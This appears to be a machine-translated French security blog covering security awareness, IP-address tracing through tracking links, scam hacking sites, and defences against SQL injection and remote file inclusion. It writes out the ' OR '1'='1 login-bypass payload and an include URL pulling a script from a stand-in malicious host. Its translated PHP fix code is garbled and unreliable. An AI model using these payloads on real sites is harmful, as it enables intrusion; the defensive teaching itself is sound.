And security is optional?

Just to see in the computer books section of the fnac, we distinguish clearly at the forefront all kinds of books on programming languages ​​and other "how to use Windows." Then, all the way down to the end of the hiding place and near the door, there are books on computer security.

As if, and indeed it is often the case, only a few people considered elitist for some or nerds for others, are interested.

The problem is that security concerns everyone ...

Security at home

Security in individuals is quite simple: it is essentially learned by the media. Some surveys or reports open the eyes of many people. A sensitization unfortunately still too weak that should be strengthened. Internet resources are also very effective at learning computer security, and I hope this blog contributes a lot.

Here is the typical situation:

As a non-sensitized individual, we are afraid of computer viruses. We do not know what it is, we do not know how they get there, but we know that they can enter the computer quite easily. We are also afraid for our data online, we say that hackers are everywhere and can do everything, know everything about us.

Awareness and learning of computer security will recalibrate these thoughts and be much more serene online.

Computer security at the University

Another important point to raise is learning and awareness of computer security in computer schools.

At the time of writing this article, I am about to complete my computer science degree and we have not had a single little security awareness .

Nothing to be expected for the few Masters offered. In fact, only a master or two specialized in computer security are available here and there in France.

Again this is a form of option.

You are interested in safety or you do not care, as you want, you put your belt in the car or not, as you want.

Yes it's a pity, and not only a pity for those who are interested in a minimum, but especially for the average user who will only pay attention to the day or the damage will be done. And it will happen. And it will be too late.

Update a few years later : it seems that more and more companies and schools are finally focusing their services on computer security, and it was time . This awareness of computer security is still too weak, throughout my university career until the end of my studies, I had a quick course on the security of systems and networks.

How to recover an IP address

This question is often asked, and few people understand how easy it is to retrieve an IP address from a remote computer.

From the legal point of view, the opinions diverge, we have on one side:

"The IP address may be collected without prior authorization from the CNIL because it is an indirect personal data" - Cass / Crim - January 13, 2009 - Cassation

The latter does not make it possible to determine with certainty the natural person who holds it because:

• Many people can use the same computer
• IP addresses can be dynamic and therefore change regularly
• Only ISPs can theoretically determine the real physical person behind an IP address at any time

That said, it is possible to want to recover "legitimately" the IP address of a potential hacker, especially when it concerns our personal security.

I quote :

"Any processing of customer data, such as IP addresses, must comply with the national provisions implementing the requirements of Directive 95/46 / EC; thus, personal data must be processed for legitimate reasons and for a specific purpose, and the processing must be proportionate to the objective pursued. "

Update: After long months of legal differences, I quote the last answer I got: "the CNIL considers that the IP address is a personal data since it allows to identify directly or indirectly a physical person ".

The Hacker Blog does not offer IP address recovery services or any processing on them. And the services presented in this article are therefore for informational purposes only.

How to recover an IP address using the usual services

To recover an IP address, there are different techniques more or less functional. We all send e-mails, sometimes even daily, but did you know that the IP address of the sender is transmitted with the message ?

When you receive an email, you can usually (but not always) click on "  View original  " or "  View message source  " depending on your email client to view the IP address of the sender of this message .

The same thing happens when you "chat" online with someone because the program needs to know both IP addresses in order to allow remote dialogue. This is the case of software like Skype , which allows each interlocutor to learn about the IP address of the other, via specialized software like TcpView .

Finally, the same thing happens when you post a message on a forum, most of the time your IP is registered with your message. So there are potentially a lot of ways to get a given IP address, and your own IP address is "processed / stored" by many of the sites you visit every day.

How to find an IP address?

There are specialized services to find IP addresses, like the site WhatsTheirIP.com that allow you to retrieve a given IP address. The operation of this site is simple:

1. You provide an e-mail address (do not hesitate to use a disposable e-mail address, just in case)
2. You get a fake link.
3. Each click on this fake link will generate an email to the address provided.

With this step, all you have to do is convince your hacker to click on the link, especially by falsely offering him what he is looking for.

Once again, The Hacker Blog takes no responsibility for the use of these types of services that are binding only their owners, and you.

Important note:

I repeat, the IP address is still not a safe bet on the identity of the person is therefore not 100% reliable. In addition, the location of an IP is even less reliable , it is based on estimates . You will not (unfortunately) get the exact location of a person, but the geolocation obtained can help you as evidence or additional track, including to make your case to file a complaint. To geolocate an IP address, go to a site like iplocation.net (there are many alternatives).

Hacking a Facebook account in two seconds? really ?

«You want to hack a Facebook account in 2 seconds, enter the name of your target»

A logo made under Paint in 2 seconds, too.

Well, if you clicked or if you believed, it does not matter . Sorry to have used this approach but it is the best and only way of prevention that I have, and the one that will save you from losing money.

Just be aware that all these hacking websites are fake .

You will not hack anyone, you will pay and get caught . Your money will go to a cave in Seychellesand you will not even be able to sue your scammer.

No service will be able to provide you with a one-click password, whether paying for it or not, whether using a secret flaw or not, whether it is recommended or "rated" by users or not.

Why can not you hack Facebook account with these services?

Simply because Facebook is secure ! It is still one of the most popular sites in the world and there are ways behind all that!

Imagine that a flaw is really present that would fly any account in one click . Not only the fault would be corrected in the minute, but in addition the news would circumnavigate the world in the minute too. And its author would not waste time making it a paid site or free. He would certainly have much better things to do with this flaw.

I do not say it does not happen, but I do not think a site would be created soon and especially would be functional for so long.

It is probably possible to hack, since accounts are regularly, but using other schemes aimed at users with little awareness, just as we are targeting YOU with these false services.

Other resource :

In computer security, we learn the approach of the attackers (the real ones) who are targeted, precise and long. This is the reverse of the "one-click" hacking YOU may be victim of.

Protect yourself from SQL injection

Introduction: What is SQL injection

Article for web developers and site administrators.

An SQL injection is as its name suggests an injection or insertion of SQL code via data transmitted from a website. A successful and properly exploited injection can recover sensitive information from a database or modify / delete / add data. In general, all actions related to a database are possible. Usually this type of injection concerns PHP with a SQL database but other languages ​​like ASP can also be involved.

This type of injection usually occurs when user data is used without being filtered or verified.

What exactly can be done with SQL injection?

Usually the hacker will seek to retrieve sensitive information from your database.

Even if you know your visitors or do not think you know a user capable of attacking your site, you should know that a hacker will simply search for vulnerable sites using what is called a Dork Google . A Dork is a very precise keyword containing a model which makes it possible to recover potentially fallible sites.

There are no legitimate reasons to display all possible dorks here and besides they are very numerous, just know that you can search for a specific page that could correspond to a fallible page of your site.

By connecting to such a page, the SQL query that we place on our site usually looks like:

"SELECT id FROM users WHERE name = 'Admin' AND password = '". $ _ POST ["password"]. "'"

We therefore select the identifier of the user whose name is Admin and whose password corresponding to the one sent by the user who wants to connect.

This is NEVER to do, because if you post:

'OR' 1 '=' 1

as a password we get the following query:

"SELECT id FROM users WHERE name = 'Admin' AND password = '' OR '1' = '1'"

What gives, translated into French: "Select the identifier of the user whose name is admin and whose password is empty OR 1 is equal to 1"

Thus the password will not be empty but 1 is equal to 1 so access is allowed , the identifier is selected .

This is the very classic example that is often talked about during databases.

How do I know if my site is fallible?

We can search for problems from our source code directly but also, and more simply, by adding a

'

at the end of a fallible url. If an error appears on your site type, it is that there is potentially a problem:

Erreur dans l'exécution de la requête 'SELECT * FROM galerie WHERE id = 2''. Message de MySQL : You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1

The error appears on the site because " id=2' "is directly used to form the query while " ' "is a special character of SQL. This causes a syntax error.

This error therefore tells us that the data entered by the users are not checked on the server side, and that there is a good chance that we can go further.

I'm not going to continue until the end but know that then the hacker can recover the table names and display their contents. The password (the admin table for example) appear generally encrypted on the site. This is why it is essential to encrypt user passwords in databases.

The other way to know if his site is fallible is to scan his source code.

There are two ways to scan a source code: the manual way and the automatic way .

The manual way is, as the name suggests, to look for our pieces of code that communicate with the database and ensure that they are robust (see below in the article).

The automatic way is to analyze its code with a tool. OWASP offers a list of tools like this:

https://www.owasp.org/index.php/Source_Code_Analysis_Tools

Blind SQL injection

As its name suggests, the "blind" SQL injection consists in exploiting a fallible site in the same way as the one we saw, except that the result (the error messages) are not not displayed on the page.

Again, complete tools are used to automate all of this. Especially if a company uses a team of ethical hackers to test the security of their systems without having to provide the source code.

How to protect yourself

Let's come to the essential point, guard against SQL injection attacks.

If we take the example of the beginning:

"SELECT id FROM users WHERE name = 'Admin' AND password = '". $ _ POST ["password"]. "'"

We use here what the user sends directly in the request.

So the first thing to do is to avoid (escape) special characters using mysqli_real_escape_string () :

"SELECT id FROM users WHERE name = 'Admin' AND password = '" .mysqli_real_escape_string ($ _ POST ["password"]). "'"

The addslashes () and magic_quotes_gpc () functions are also used but do not protect as well as mysqli_real_escape_string () .

A way that tends to generalize but has a slight impact on performance is the use of prepared commands

The stored procedures require more knowledge but can also be used. The identification will remain well protected within the procedure and can no longer be diverted.

Finally, it is preferable to use limited access user accounts to prevent the modification or deletion of database elements. And possibly check the data with regular expressions or use tables containing all the possible results.

Protect yourself from the RFI (Remote File Inclusion) vulnerability

Introduction: What is the RFI Fault

Article for web developers and site administrators.

The RFI fault is similar to the LFI fault . It also allows you to include files belonging to an external server from a URL. But it mostly allows to include any file on the remote server.

Be reassured, this flaw is becoming increasingly rare following updates to web servers and systems.

What can be done with an RFI fault?

This flaw often makes it possible to place a php shell on the server in order to administer it remotely.

Orders can therefore be executed and in general anyone can control your fallible website via these. 
It is of course possible to include any other file on such a server. And so it is possible to perform many different actions and varied by exploiting this flaw.

How do I know if my site is fallible?

Your site may be fallible if it uses a URL like this typical example:

http://exemple.com/index.php?page=news

It is therefore possible to include a file from another site:

http://exemple.com/index.php?page=http://sitemalveillant.com/script.txt

A typical fallible php script looks like this:

<?php
include($_GET['page']); //à ne jamais faire
?>

How to protect yourself

To start, make sure you have everything updated, your web server, your system etc.

Then the protection is similar to that used for the LFI flaws, just include the files without going directly through a URL:

<? Php
 $ lespages = array ('news' => 'news.htm', 'contact' => 'contact.htm', 'home' => 'home.htm');
if (in_array ($ _ GET ['page'], array_keys ($ pages))) {// if the page is in the array
      include $ pages [$ _ GET ['page']]; // we include it without risk
 } else {// else return to home
      include $ pages ['home'];
}?>